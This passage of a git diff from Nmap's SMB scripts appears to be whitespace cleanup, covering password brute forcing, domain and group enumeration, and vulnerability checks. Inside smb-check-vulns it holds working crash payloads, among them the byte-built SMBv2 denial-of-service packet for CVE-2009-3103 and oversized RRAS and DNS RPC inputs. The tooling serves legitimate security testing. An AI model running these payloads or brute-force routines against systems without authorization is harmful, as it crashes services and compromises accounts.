function get_type(hostinfo) -- Check if the user requested a specific type if(nmap.registry.args.smbtype ~= nil) then @@ -260,9 +260,9 @@ local function get_type(hostinfo) end ---Stops the session, if one exists. This can be called as frequently as needed, it'll just return if no --- session is present, but it should generally be paired with a restart_session call. ---@param hostinfo The hostinfo table. ---@return (status, err) If status is false, err is a string corresponding to the error; otherwise, err is undefined. +-- session is present, but it should generally be paired with a restart_session call. +--@param hostinfo The hostinfo table. +--@return (status, err) If status is false, err is a string corresponding to the error; otherwise, err is undefined. local function stop_session(hostinfo) local status, err @@ -281,9 +281,9 @@ local function stop_session(hostinfo) end ---Starts or restarts a SMB session with the host. Although this will automatically stop a session if --- one exists, it's a little cleaner to pair this with a stop_session call. ---@param hostinfo The hostinfo table. ---@return (status, err) If status is false, err is a string corresponding to the error; otherwise, err is undefined. +-- one exists, it's a little cleaner to pair this with a stop_session call. +--@param hostinfo The hostinfo table. +--@return (status, err) If status is false, err is a string corresponding to the error; otherwise, err is undefined. local function restart_session(hostinfo) local status, err, smbstate @@ -301,18 +301,18 @@ local function restart_session(hostinfo) return true end ----Attempts to log into an account, returning one of the results constants. Will always return to the --- state where another login can be attempted. Will also differentiate between a hash and a password, and choose the --- proper login method (unless overridden). Will interpret the result as much as possible. +---Attempts to log into an account, returning one of the results constants. Will always return to the +-- state where another login can be attempted. Will also differentiate between a hash and a password, and choose the +-- proper login method (unless overridden). Will interpret the result as much as possible. -- --- The session has to be active (ie, restart_session has to be called) before calling this function. +-- The session has to be active (ie, restart_session has to be called) before calling this function. -- ---@param hostinfo The hostinfo table. ---@param username The username to try. ---@param password The password to try. +--@param hostinfo The hostinfo table. +--@param username The username to try. +--@param password The password to try. --@param logintype [optional] The logintype to use. Default: get_type is called. If password --- is a hash, this is ignored. ---@return Result, an integer value from the results constants. +-- is a hash, this is ignored. +--@return Result, an integer value from the results constants. local function check_login(hostinfo, username, password, logintype) local result local domain = "" @@ -329,7 +329,7 @@ local function check_login(hostinfo, username, password, logintype) else status, err = smb.start_session(smbstate, smb.get_overrides(username, domain, password, nil, logintype), false) end - + if(status == true) then if(smbstate['is_guest'] == 1) then result = results.GUEST_ACCESS @@ -363,14 +363,14 @@ local function check_login(hostinfo, username, password, logintype) return result end ----Determines whether or not a login was successful, based on what's known about the server's settings. This --- is fairly straight forward, but has a couple little tricks. +---Determines whether or not a login was successful, based on what's known about the server's settings. This +-- is fairly straight forward, but has a couple little tricks. -- ---@param hostinfo The hostinfo table. ---@param result The result code. +--@param hostinfo The hostinfo table. +--@param result The result code. --@return true if the password used for logging in was correct, false otherwise. Keep -- in mind that this doesn't imply the login was successful (only results.SUCCESS indicates that), rather --- that the password was valid. +-- that the password was valid. function is_positive_result(hostinfo, result) -- If result is a FAIL, it's always bad @@ -393,16 +393,16 @@ function is_positive_result(hostinfo, result) return true end ----Determines whether or not a login was "bad". A bad login is one where an account becomes locked out. +---Determines whether or not a login was "bad". A bad login is one where an account becomes locked out. -- ---@param hostinfo The hostinfo table. ---@param result The result code. +--@param hostinfo The hostinfo table. +--@param result The result code. --@return true if the password used for logging in was correct, false otherwise. Keep -- in mind that this doesn't imply the login was successful (only results.SUCCESS indicates that), rather --- that the password was valid. +-- that the password was valid. function is_bad_result(hostinfo, result) - -- If result is LOCKED, it's always bad. + -- If result is LOCKED, it's always bad. if(result == results.ACCOUNT_LOCKED or result == results.ACCOUNT_LOCKED_NOW) then return true end @@ -412,9 +412,9 @@ function is_bad_result(hostinfo, result) end ---Count the number of one bits in a binary representation of the given number. This is used for case-sensitive --- checks. +-- checks. -- ---@param num The number to count the ones for. +--@param num The number to count the ones for. --@return The number of ones in the number local function count_ones(num) local count = 0 @@ -430,12 +430,12 @@ local function count_ones(num) end ---Converts a string's case based on a binary number. For every '1' bit, the character is uppercased, and for every '0' --- bit it's lowercased. For example, "test" and 8 (1000) becomes "Test", while "test" and 11 (1011) becomes "TeST". +-- bit it's lowercased. For example, "test" and 8 (1000) becomes "Test", while "test" and 11 (1011) becomes "TeST". -- --@param str The string to convert. --@param num The binary number representing the case. This value isn't checked, so if it's too large it's truncated, and if it's --- too small it's effectively zero-padded. ---@return The converted string. +-- too small it's effectively zero-padded. +--@return The converted string. local function convert_case(str, num) local pos = #str @@ -468,15 +468,15 @@ local function convert_case(str, num) end ---Attempts to determine the case of a password. This is done by trying every possible combination of upper and lowercase --- characters in the password, in the most efficient possible ordering, until the corerct case is found. +-- characters in the password, in the most efficient possible ordering, until the corerct case is found. -- --- A session has to be active when this function is called. +-- A session has to be active when this function is called. -- ---@param hostinfo The hostinfo table. ---@param username The username. +--@param hostinfo The hostinfo table. +--@param username The username. --@param password The password (it's assumed that it's all lowercase already, but it doesn't matter) --@return The password with the proper case, or the original password if it couldn't be determined (either the proper --- case wasn't found or the login type is incorrect). +-- case wasn't found or the login type is incorrect). local function find_password_case(hostinfo, username, password) -- Only do this if we're using lanman, otherwise we already have the proper password if(get_type(hostinfo) ~= "lm") then @@ -519,8 +519,8 @@ local function find_password_case(hostinfo, username, password) return password end ----Unless the user is ok with lockouts, check the lockout policy of the host. Take the most restrictive --- portion among the domains. Returns true if lockouts could happen, false otherwise. +---Unless the user is ok with lockouts, check the lockout policy of the host. Take the most restrictive +-- portion among the domains. Returns true if lockouts could happen, false otherwise. local function bad_lockout_policy(host) -- If the user is ok with locking out accounts, just return if(stdnse.get_script_args( "smblockout" )) then @@ -546,9 +546,9 @@ local function bad_lockout_policy(host) end ---Initializes and returns the hostinfo table. This includes queuing up the username and password lists, determining --- the server's operating system, and checking the server's response for invalid usernames/invalid passwords. +-- the server's operating system, and checking the server's response for invalid usernames/invalid passwords. -- ---@param host The host object. +--@param host The host object. local function initialize(host) local os, result local status, bad_lockout_policy_result @@ -613,9 +613,9 @@ local function initialize(host) return false, err end - -- Some hosts will accept any username -- check for this by trying to log in with a totally random name. If the + -- Some hosts will accept any username -- check for this by trying to log in with a totally random name. If the -- server accepts it, it'll be impossible to bruteforce; if it gives us a weird result code, we have to remember - -- it. + -- it. hostinfo['invalid_username'] = check_login(hostinfo, get_random_string(8), get_random_string(8), "ntlm") hostinfo['invalid_password'] = check_login(hostinfo, "Administrator", get_random_string(8), "ntlm") @@ -658,10 +658,10 @@ local function initialize(host) end ---Retrieves the next password in the password database we're using. Will never return the empty string. --- May also return one of the special_passwords constants. +-- May also return one of the special_passwords constants. -- ---@param hostinfo The hostinfo table (the password list is stored there). ---@return The new password, or nil if the end of the list has been reached. +--@param hostinfo The hostinfo table (the password list is stored there). +--@return The new password, or nil if the end of the list has been reached. local function get_next_password(hostinfo) local new_password @@ -680,19 +680,19 @@ local function get_next_password(hostinfo) return new_password end ----Reset to the first password. This is normally done when the user list changes. +---Reset to the first password. This is normally done when the user list changes. -- ---@param hostinfo The hostinfo table. +--@param hostinfo The hostinfo table. local function reset_password(hostinfo) hostinfo['password_list']("reset") end ---Retrieves the next username. This can be from the username database, or from an array stored in the --- hostinfo table. This won't return any names that have been determined to be invalid, locked, or --- have already had their password found. +-- hostinfo table. This won't return any names that have been determined to be invalid, locked, or +-- have already had their password found. -- --@param hostinfo The hostinfo table ---@return The next username, or nil if the end of the list has been reached. +--@return The next username, or nil if the end of the list has been reached. local function get_next_username(hostinfo) local username @@ -700,13 +700,13 @@ local function get_next_username(hostinfo) if(hostinfo['have_user_list']) then local index = hostinfo['user_list_index'] hostinfo['user_list_index'] = hostinfo['user_list_index'] + 1 - + username = hostinfo['user_list'][index] if(username ~= nil) then local _ _, username = split_domain(username) end - + else username = hostinfo['user_list_default']() end @@ -721,9 +721,9 @@ local function get_next_username(hostinfo) return username end ----Reset to the first username. +---Reset to the first username. -- ---@param hostinfo The hostinfo table. +--@param hostinfo The hostinfo table. local function reset_username(hostinfo) if(hostinfo['have_user_list']) then hostinfo['user_list_index'] = 1 @@ -732,11 +732,11 @@ local function reset_username(hostinfo) end end ----Do a little trick to detect account lockouts without bringing every user to the lockout threshold -- bump the lockout counter of --- the first user ahead. If lockouts are happening, this means that the first account will trigger before the rest of the accounts. +---Do a little trick to detect account lockouts without bringing every user to the lockout threshold -- bump the lockout counter of +-- the first user ahead. If lockouts are happening, this means that the first account will trigger before the rest of the accounts. -- A canary in the mineshaft, in a way. -- --- The number of checks defaults to three, but it can be controlled with the canary argument. +-- The number of checks defaults to three, but it can be controlled with the canary argument. -- -- Times it'll fail are when: -- * Accounts are locked out due to the initial checks (happens if the user runs smb-brute twice in a row, the canary won't help) @@ -746,9 +746,9 @@ function test_lockouts(hostinfo) local i local username = get_next_username(hostinfo) - -- It's possible that every username was accounted for already, so our list is empty. + -- It's possible that every username was accounted for already, so our list is empty. if(username == nil) then - return + return end if(stdnse.get_script_args( "smblockout" )) then @@ -782,7 +782,7 @@ function test_lockouts(hostinfo) -- If the account just became locked (it's already been put on the 'valid' list), we're in trouble if(result == results.LOCKED) then - -- If the canary just became locked, we're one step from locking out every account. Loop through the usernames and invalidate them to + -- If the canary just became locked, we're one step from locking out every account. Loop through the usernames and invalidate them to -- prevent them from being locked out stdnse.print_debug(1, "smb-brute: Canary (%s) became locked out -- aborting") @@ -803,17 +803,17 @@ function test_lockouts(hostinfo) end ---Attempts to validate the current list of usernames by logging in with a blank password, marking invalid ones (and ones that had --- a blank password). Determining the validity of a username works best if invalid usernames are redirected to 'guest'. +-- a blank password). Determining the validity of a username works best if invalid usernames are redirected to 'guest'. -- --- If a username accepts the blank password, a random password is tested. If that's accepted as well, the account is marked as --- accepting any password (the 'guest' account is normally like that). +-- If a username accepts the blank password, a random password is tested. If that's accepted as well, the account is marked as +-- accepting any password (the 'guest' account is normally like that). -- --- This also checks whether the server locks out users, and raises the lockout threshold of the first user (see the +-- This also checks whether the server locks out users, and raises the lockout threshold of the first user (see the -- check_lockouts function for more information on that. If accounts on the system are locked out, they aren't --- checked. +-- checked. -- ---@param hostinfo The hostinfo table. ---@return (status, err) If status is false, err is a string corresponding to the error; otherwise, err is undefined. +--@param hostinfo The hostinfo table. +--@return (status, err) If status is false, err is a string corresponding to the error; otherwise, err is undefined. local function validate_usernames(hostinfo) local status, err local result @@ -854,12 +854,12 @@ local function validate_usernames(hostinfo) stdnse.print_debug(1, "smb-brute: Blank password for '%s' => '%s' (locked out)", username, result_short_strings[result]) elseif(result == results.FAIL) then - -- If none of the standard options work, check if it's FAIL. If it's FAIL, there's an error somewhere (probably, the - -- 'administrator' username is changed so we're getting invalid data). + -- If none of the standard options work, check if it's FAIL. If it's FAIL, there's an error somewhere (probably, the + -- 'administrator' username is changed so we're getting invalid data). stdnse.print_debug(1, "smb-brute: Blank password for '%s' => '%s' (may be valid)", username, result_short_strings[result]) else - -- If none of those came up, either the password is legitimately blank, or any account works. Figure out what! + -- If none of those came up, either the password is legitimately blank, or any account works. Figure out what! local new_result = check_login(hostinfo, username, get_random_string(14), "ntlm") if(new_result == result) then -- Any password works (often happens with 'guest' account) @@ -893,17 +893,17 @@ local function validate_usernames(hostinfo) end ---Marks an account as discovered. The login with this account doesn't have to be successful, but is_positive_result should --- return true. +-- return true. -- --- If the result IS successful, and this hasn't been done before, this function will attempt to pull a userlist from the server. +-- If the result IS successful, and this hasn't been done before, this function will attempt to pull a userlist from the server. -- --- The session should be stopped before entering this function, and restarted after -- that allows this function to make its own SMB calls. +-- The session should be stopped before entering this function, and restarted after -- that allows this function to make its own SMB calls. -- ---@param hostinfo The hostinfo table. ---@param username The username. +--@param hostinfo The hostinfo table. +--@param username The username. --@param password The password. ---@param result The result, as an integer constant. ---@return (status, err) If status is false, err is a string corresponding to the error; otherwise, err is undefined. +--@param result The result, as an integer constant. +--@return (status, err) If status is false, err is a string corresponding to the error; otherwise, err is undefined. function found_account(hostinfo, username, password, result) local status, err @@ -922,8 +922,8 @@ function found_account(hostinfo, username, password, result) -- Check if we have an 'admin' account -- Try getting information about "IPC$". This determines whether or not the user is administrator - -- since only admins can get share info. Note that on Vista and up, unless UAC is disabled, all - -- accounts are non-admin. + -- since only admins can get share info. Note that on Vista and up, unless UAC is disabled, all + -- accounts are non-admin. local is_admin = smb.is_admin(hostinfo['host'], username, '', password, nil, nil) -- Add the account @@ -965,16 +965,16 @@ function found_account(hostinfo, username, password, result) if(status == false) then return false, err end - + end end ----This is the main function that does all the work (loops through the lists and checks the results). +---This is the main function that does all the work (loops through the lists and checks the results). -- ---@param host The host table. +--@param host The host table. --@return (status, accounts, locked_accounts) If status is false, accounts is an error message. Otherwise, accounts -- is a table of passwords/results, indexed by the username and locked_accounts is a table indexed by locked --- usernames. +-- usernames. local function go(host) local status, err local result, hostinfo @@ -987,7 +987,7 @@ local function go(host) return false, hostinfo end - -- If invalid accounts don't give guest, we can determine the existence of users by trying to + -- If invalid accounts don't give guest, we can determine the existence of users by trying to -- log in with an invalid password and checking the value status, err = validate_usernames(hostinfo) if(status == false) then diff --git a/scripts/smb-check-vulns.nse b/scripts/smb-check-vulns.nse index 7dbe4b93b..732169ca3 100644 --- a/scripts/smb-check-vulns.nse +++ b/scripts/smb-check-vulns.nse @@ -14,72 +14,72 @@ Checks for vulnerabilities: * MS06-025, a Windows Ras RPC service vulnerability * MS07-029, a Windows Dns Server RPC service vulnerability -WARNING: These checks are dangerous, and are very likely to bring down a server. +WARNING: These checks are dangerous, and are very likely to bring down a server. These should not be run in a production environment unless you (and, more importantly, -the business) understand the risks! +the business) understand the risks! -As a system administrator, performing these kinds of checks is crucial, because +As a system administrator, performing these kinds of checks is crucial, because a lot more damage can be done by a worm or a hacker using this vulnerability than by a scanner. Penetration testers, on the other hand, might not want to use this -script -- crashing services is not generally a good way of sneaking through a -network. +script -- crashing services is not generally a good way of sneaking through a +network. -If you set the script parameter unsafe, then scripts will run that are almost +If you set the script parameter unsafe, then scripts will run that are almost (or totally) guaranteed to crash a vulnerable system; do NOT specify unsafe -in a production environment! And that isn't to say that non-unsafe scripts will -not crash a system, they're just less likely to. +in a production environment! And that isn't to say that non-unsafe scripts will +not crash a system, they're just less likely to. If you set the script parameter safe, then script will run that rarely or never -crash a vulnerable system. No promises, though. +crash a vulnerable system. No promises, though. MS08-067. Checks if a host is vulnerable to MS08-067, a Windows RPC vulnerability that -can allow remote code execution. Checking for MS08-067 is very dangerous, as the check +can allow remote code execution. Checking for MS08-067 is very dangerous, as the check is likely to crash systems. On a fairly wide scan conducted by Brandon Enright, we determined that on average, a vulnerable system is more likely to crash than to survive -the check. Out of 82 vulnerable systems, 52 crashed. +the check. Out of 82 vulnerable systems, 52 crashed. At the same time, MS08-067 is extremely critical to fix. Metasploit has a working and -stable exploit for it, and any system vulnerable can very easily be compromised. +stable exploit for it, and any system vulnerable can very easily be compromised. Conficker. Checks if a host is infected with a known Conficker strain. This check is based on the simple conficker scanner found on this page: http://iv.cs.uni-bonn.de/wg/cs/applications/containing-conficker. Thanks to the folks who wrote that scanner! -regsvc DoS. Checks if a host is vulnerable to a crash in regsvc, caused +regsvc DoS. Checks if a host is vulnerable to a crash in regsvc, caused by a null pointer dereference. I inadvertently discovered this crash while working -on smb-enum-sessions, and discovered that it was repeatable. It's been -reported to Microsoft (case #MSRC8742). +on smb-enum-sessions, and discovered that it was repeatable. It's been +reported to Microsoft (case #MSRC8742). This check WILL crash the service, if it's vulnerable, and requires a guest account -or higher to work. It is considered unsafe. +or higher to work. It is considered unsafe. SMBv2 DoS. Performs a denial-of-service against the vulnerability disclosed in CVE-2009-3103. Checks if the server went offline. This works agianst Windows Vista and some versions of Windows 7, and causes a bluescreen if successful. The -proof-of-concept code at http://seclists.org/fulldisclosure/2009/Sep/39 was used, -with one small change. +proof-of-concept code at http://seclists.org/fulldisclosure/2009/Sep/39 was used, +with one small change. MS06-025. Vulnerability targets the RasRpcSumbitRequest() RPC method which is -a part of RASRPC interface that serves as a RPC service for configuring and +a part of RASRPC interface that serves as a RPC service for configuring and getting information from the Remote Access and Routing service. RASRPC can be accessed using either "\ROUTER" SMB pipe or the "\SRVSVC" SMB pipe (usually on Windows XP machines). This is in RPC world known as "ncan_np" RPC transport. RasRpcSumbitRequest() method is a generic method which provides different functionalities according -to the RequestBuffer structure and particulary the RegType field within that +to the RequestBuffer structure and particulary the RegType field within that structure. RegType field is of enum ReqTypes type. This enum type lists all the different available operation that can be performed using the RasRpcSubmitRequest() -RPC method. The one particular operation that this vuln targets is the REQTYPE_GETDEVCONFIG +RPC method. The one particular operation that this vuln targets is the REQTYPE_GETDEVCONFIG request to get device information on the RRAS. MS07-029. Vulnerability targets the R_DnssrvQuery() and R_DnssrvQuery2() RPC method which is -a part of DNS Server RPC interface that serves as a RPC service for configuring and +a part of DNS Server RPC interface that serves as a RPC service for configuring and getting information from the DNS Server service. DNS Server RPC service can be accessed using "\dnsserver" SMB named pipe. The vulnerability is triggered when a long string is send as the "zone" parameter which causes the buffer overflow which crashes the service. (Note: if you have other SMB/MSRPC vulnerability checks you'd like to see added, and -you can show me a tool with a license that is compatible with Nmap's, post a request -on the nmap-dev mailing list and I'll add it to my list [Ron Bowes].) +you can show me a tool with a license that is compatible with Nmap's, post a request +on the nmap-dev mailing list and I'll add it to my list [Ron Bowes].) ]] --- --@usage @@ -88,7 +88,7 @@ on the nmap-dev mailing list and I'll add it to my list [Ron Bowes].) -- --@output -- Host script results: --- | smb-check-vulns: +-- | smb-check-vulns: -- | MS08-067: NOT VULNERABLE -- | Conficker: Likely CLEAN -- | regsvc DoS: regsvc DoS: NOT VULNERABLE @@ -100,7 +100,7 @@ on the nmap-dev mailing list and I'll add it to my list [Ron Bowes].) -- patched, are basically guaranteed to crash something. Remember that -- non-unsafe checks aren't necessarily safe either) -- @args safe If set, this script will only run checks that are known (or at --- least suspected) to be safe. +-- least suspected) to be safe. ----------------------------------------------------------------------- author = "Ron Bowes" @@ -110,7 +110,7 @@ categories = {"intrusive","exploit","dos","vuln"} -- run after all smb-* scripts (so if it DOES crash something, it doesn't kill -- other scans have had a chance to run) dependencies = { - "smb-brute", "smb-enum-sessions", "smb-security-mode", + "smb-brute", "smb-enum-sessions", "smb-security-mode", "smb-enum-shares", "smb-server-stats", "smb-enum-domains", "smb-enum-users", "smb-system-info", "smb-enum-groups", "smb-os-discovery", "smb-enum-processes", @@ -131,23 +131,23 @@ local INFECTED2 = 6 local CLEAN = 7 local NOTUP = 8 ----Check if the server is patched for MS08-067. This is done by calling NetPathCompare with an +---Check if the server is patched for MS08-067. This is done by calling NetPathCompare with an -- illegal string. If the string is accepted, then the server is vulnerable; if it's rejected, then --- you're safe (for now). +-- you're safe (for now). -- -- Based on a packet cap of this script, thanks go out to the author: -- http://labs.portcullis.co.uk/application/ms08-067-check/ -- --- If there's a licensing issue, please let me (Ron Bowes) know so I can +-- If there's a licensing issue, please let me (Ron Bowes) know so I can -- --- NOTE: This CAN crash stuff (ie, crash svchost and force a reboot), so beware! In about 20 --- tests I did, it crashed once. This is not a guarantee. +-- NOTE: This CAN crash stuff (ie, crash svchost and force a reboot), so beware! In about 20 +-- tests I did, it crashed once. This is not a guarantee. -- ---@param host The host object. ---@return (status, result) If status is false, result is an error code; otherwise, result is either --- VULNERABLE for vulnerable, PATCHED for not vulnerable, +--@param host The host object. +--@return (status, result) If status is false, result is an error code; otherwise, result is either +-- VULNERABLE for vulnerable, PATCHED for not vulnerable, -- UNKNOWN if there was an error (likely vulnerable), NOTRUN --- if this check was disabled, and INFECTED if it was patched by Conficker. +-- if this check was disabled, and INFECTED if it was patched by Conficker. function check_ms08_067(host) if(nmap.registry.args.safe ~= nil) then return true, NOTRUN @@ -173,7 +173,7 @@ function check_ms08_067(host) -- Call netpathcanonicalize -- status, netpathcanonicalize_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\a", "\\test\\") - + local path1 = "\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\n" local path2 = "\\n" status, netpathcompare_result = msrpc.srvsvc_netpathcompare(smbstate, host.ip, path1, path2, 1, 0) @@ -211,7 +211,7 @@ CONFICKER_ERROR_HELP = { -- is set to Off/False/No rather than Auto or yes. -- On these systems, if you reenable the browser service, then the -- test will complete." - ["NT_STATUS_OBJECT_NAME_NOT_FOUND"] = + ["NT_STATUS_OBJECT_NAME_NOT_FOUND"] = [[UNKNOWN; not Windows, or Windows with disabled browser service (CLEAN); or Windows with crashed browser service (possibly INFECTED). | If you know the remote system is Windows, try rebooting it and scanning |_ again. (Error NT_STATUS_OBJECT_NAME_NOT_FOUND)]], @@ -233,16 +233,16 @@ CONFICKER_ERROR_HELP = { -- [[]] } ----Check if the server is infected with Conficker. This can be detected by a modified MS08-067 patch, --- which rejects a different illegal string than the official patch rejects. +---Check if the server is infected with Conficker. This can be detected by a modified MS08-067 patch, +-- which rejects a different illegal string than the official patch rejects. -- -- Based loosely on the Simple Conficker Scanner, found here: -- http://iv.cs.uni-bonn.de/wg/cs/applications/containing-conficker/ -- -- If there's a licensing issue, please let me (Ron Bowes) know so I can fix it -- ---@param host The host object. ---@return (status, result) If status is false, result is an error code; otherwise, result is either +--@param host The host object. +--@return (status, result) If status is false, result is an error code; otherwise, result is either -- INFECTED for infected or CLEAN for not infected. function check_conficker(host) local status, smbstate @@ -291,17 +291,17 @@ function check_conficker(host) return true, CLEAN end ----While writing smb-enum-sessions I discovered a repeatable null-pointer dereference +---While writing smb-enum-sessions I discovered a repeatable null-pointer dereference -- in regsvc. I reported it to Microsoft, but because it's a simple DoS (and barely even that, because -- the service automatically restarts), and because it's only in Windows 2000, it isn't likely that they'll --- fix it. This function checks for that crash (by crashing the process). +-- fix it. This function checks for that crash (by crashing the process). -- --- The crash occurs when the string sent to winreg_enumkey() function is null. +-- The crash occurs when the string sent to winreg_enumkey() function is null. -- ---@param host The host object. ---@return (status, result) If status is false, result is an error code; otherwise, result is either +--@param host The host object. +--@return (status, result) If status is false, result is an error code; otherwise, result is either -- VULNERABLE for vulnerable or PATCHED for not vulnerable. If the check --- was skipped, NOTRUN is returned. +-- was skipped, NOTRUN is returned. function check_winreg_Enum_crash(host) if(nmap.registry.args.safe ~= nil) then return true, NOTRUN @@ -356,7 +356,7 @@ local function check_smbv2_dos(host) return true, NOTRUN end - -- From http://seclists.org/fulldisclosure/2009/Sep/0039.html with one change on the last line. + -- From http://seclists.org/fulldisclosure/2009/Sep/0039.html with one change on the last line. local buf = string.char(0x00, 0x00, 0x00, 0x90) .. -- Begin SMB header: Session message string.char(0xff, 0x53, 0x4d, 0x42) .. -- Server Component: SMB string.char(0x72, 0x00, 0x00, 0x00) .. -- Negociate Protocol @@ -408,7 +408,7 @@ local function check_smbv2_dos(host) socket:set_timeout(5000) status, result = socket:connect(host, 445) - -- Check the result + -- Check the result if(status == false or status == nil) then stdnse.print_debug(1, "smb-check-vulns: Connect failed, host is likely vulnerable!") socket:close() @@ -434,15 +434,15 @@ end --and Access Service. This check is not safe as it crashes the RRAS service and --its dependencies. --@param host Host object. ---@return (status, result) ---* status == false -> result == NOTUP which designates +--@return (status, result) +--* status == false -> result == NOTUP which designates --that the targeted Ras RPC service is not active. ---* status == true -> +--* status == true -> -- ** result == VULNERABLE for vulnerable. -- ** result == PATCHED for not vulnerable. -- ** result == NOTRUN if check skipped. function check_ms06_025(host) - --check for safety flag + --check for safety flag if(nmap.registry.args.safe ~= nil) then return true, NOTRUN end @@ -464,7 +464,7 @@ function check_ms06_025(host) --bind to RRAS service local bind_result status, bind_result = msrpc.bind(smbstate, msrpc.RASRPC_UUID, msrpc.RASRPC_VERSION, nil) - if(status == false) then + if(status == false) then msrpc.stop_smb(smbstate) return false, UNKNOWN --if bind operation results with a false status we can't conclude anything. end @@ -474,8 +474,8 @@ function check_ms06_025(host) end local req, buff, sr_result req = msrpc.RRAS_marshall_RequestBuffer( - 0x01, - msrpc.RRAS_RegTypes['GETDEVCONFIG'], + 0x01, + msrpc.RRAS_RegTypes['GETDEVCONFIG'], msrpc.random_crap(3000)) status, sr_result = msrpc.RRAS_SubmitRequest(smbstate, req) msrpc.stop_smb(smbstate) @@ -497,15 +497,15 @@ end ---Check the existence of ms07_029 vulnerability in Microsoft Dns Server service. --This check is not safe as it crashes the Dns Server RPC service its dependencies. --@param host Host object. ---@return (status, result) ---* status == false -> result == NOTUP which designates +--@return (status, result) +--* status == false -> result == NOTUP which designates --that the targeted Dns Server RPC service is not active. ---* status == true -> +--* status == true -> -- ** result == VULNERABLE for vulnerable. -- ** result == PATCHED for not vulnerable. -- ** result == NOTRUN if check skipped. function check_ms07_029(host) - --check for safety flag + --check for safety flag if(nmap.registry.args.safe ~= nil) then return true, NOTRUN end @@ -528,9 +528,9 @@ function check_ms07_029(host) --call local req_blob, q_result status, q_result = msrpc.DNSSERVER_Query( - smbstate, - "VULNSRV", - string.rep("\\\13", 1000), + smbstate, + "VULNSRV", + string.rep("\\\13", 1000), 1)--any op num will do --sanity check msrpc.stop_smb(smbstate) @@ -548,14 +548,14 @@ function check_ms07_029(host) end end ----Returns the appropriate text to display, if any. +---Returns the appropriate text to display, if any. -- --@param check The name of the check; for example, 'ms08-067'. --@param message The message to display, such as 'VULNERABLE' or 'PATCHED'. ---@param description [optional] Extra details about the message. nil for a blank message. +--@param description [optional] Extra details about the message. nil for a blank message. --@param minimum_verbosity The minimum verbosity level required before the message is displayed. --@param minimum_debug [optional] The minimum debug level required before the message is displayed (default: 0). ---@return A string with a textual representation of the error (or empty string, if it was determined that the message shouldn't be displayed). +--@return A string with a textual representation of the error (or empty string, if it was determined that the message shouldn't be displayed). local function get_response(check, message, description, minimum_verbosity, minimum_debug) if(minimum_debug == nil) then minimum_debug = 0 @@ -660,7 +660,7 @@ action = function(host) table.insert(response, get_response("MS06-025", "NOT VULNERABLE", nil, 1)) end end - + -- Check for ms07-029 status, result = check_ms07_029(host) if(status == false) then diff --git a/scripts/smb-enum-domains.nse b/scripts/smb-enum-domains.nse index f169660c5..d0feedfd1 100644 --- a/scripts/smb-enum-domains.nse +++ b/scripts/smb-enum-domains.nse @@ -7,21 +7,21 @@ local table = require "table" description = [[ Attempts to enumerate domains on a system, along with their policies. This generally requires -credentials, except against Windows 2000. In addition to the actual domain, the "Builtin" -domain is generally displayed. Windows returns this in the list of domains, but its policies -don't appear to be used anywhere. +credentials, except against Windows 2000. In addition to the actual domain, the "Builtin" +domain is generally displayed. Windows returns this in the list of domains, but its policies +don't appear to be used anywhere. Much of the information provided is useful to a penetration tester, because it tells the -tester what types of policies to expect. For example, if passwords have a minimum length of 8, +tester what types of policies to expect. For example, if passwords have a minimum length of 8, the tester can trim his database to match; if the minimum length is 14, the tester will -probably start looking for sticky notes on people's monitors. +probably start looking for sticky notes on people's monitors. Another useful piece of information is the password lockouts. A penetration tester often wants -to know whether or not there's a risk of negatively impacting a network, and this will -indicate it. The SID is displayed, which may be useful in other tools; the users are listed, -which uses different functions than smb-enum-users.nse (though likely won't +to know whether or not there's a risk of negatively impacting a network, and this will +indicate it. The SID is displayed, which may be useful in other tools; the users are listed, +which uses different functions than smb-enum-users.nse (though likely won't get different results), and the date and time the domain was created may give some insight into -its history. +its history. After the initial bind to SAMR, the sequence of calls is: * Connect4: get a connect_handle @@ -80,7 +80,7 @@ action = function(host) for domain, data in pairs(result) do local piece = {} piece['name'] = domain - + if(#data.groups > 0) then table.insert(piece, string.format("Groups: %s", stdnse.strjoin(", ", data.groups))) else @@ -99,7 +99,7 @@ action = function(host) end table.insert(piece, string.format("Creation time: %s", data.created)) - table.insert(piece, string.format("Passwords: min length: %s; min age: %s days; max age: %s days; history: %s passwords", + table.insert(piece, string.format("Passwords: min length: %s; min age: %s days; max age: %s days; history: %s passwords", data.min_password_length or "n/a", data.min_password_age or "n/a", data.max_password_age or "n/a", diff --git a/scripts/smb-enum-groups.nse b/scripts/smb-enum-groups.nse index 9e25a5b5a..3f7a12c5b 100644 --- a/scripts/smb-enum-groups.nse +++ b/scripts/smb-enum-groups.nse @@ -5,20 +5,20 @@ local string = require "string" local table = require "table" description = [[ -Obtains a list of groups from the remote Windows system, as well as a list of the group's users. -This works similarly to enum.exe with the /G switch. +Obtains a list of groups from the remote Windows system, as well as a list of the group's users. +This works similarly to enum.exe with the /G switch. The following MSRPC functions in SAMR are used to find a list of groups and the RIDs of their users. Keep -in mind that MSRPC refers to groups as "Aliases". +in mind that MSRPC refers to groups as "Aliases". * Bind: bind to the SAMR service. * Connect4: get a connect_handle. * EnumDomains: get a list of the domains. -* LookupDomain: get the RID of the domains. +* LookupDomain: get the RID of the domains. * OpenDomain: get a handle for each domain. * EnumDomainAliases: get the list of groups in the domain. * OpenAlias: get a handle to each group. -* GetMembersInAlias: get the RIDs of the members in the groups. +* GetMembersInAlias: get the RIDs of the members in the groups. * Close: close the alias handle. * Close: close the domain handle. * Close: close the connect handle. @@ -26,12 +26,12 @@ in mind that MSRPC refers to groups as "Aliases". Once the RIDs have been termined, the * Bind: bind to the LSA service. * OpenPolicy2: get a policy handle. -* LookupSids2: convert SIDs to usernames. +* LookupSids2: convert SIDs to usernames. -I (Ron Bowes) originally looked into the possibility of using the SAMR function LookupRids2 -to convert RIDs to usernames, but the function seemed to return a fault no matter what I tried. Since -enum.exe also switches to LSA to convert RIDs to usernames, I figured they had the same issue and I do -the same thing. +I (Ron Bowes) originally looked into the possibility of using the SAMR function LookupRids2 +to convert RIDs to usernames, but the function seemed to return a fault no matter what I tried. Since +enum.exe also switches to LSA to convert RIDs to usernames, I figured they had the same issue and I do +the same thing. ]] --- diff --git a/scripts/smb-enum-sessions.nse b/scripts/smb-enum-sessions.nse index 5de76c844..94649853f 100644 --- a/scripts/smb-enum-sessions.nse +++ b/scripts/smb-enum-sessions.nse @@ -5,38 +5,38 @@ local string = require "string" local table = require "table" description = [[ -Enumerates the users logged into a system either locally or through an SMB share. The local users -can be logged on either physically on the machine, or through a terminal services session. -Connections to 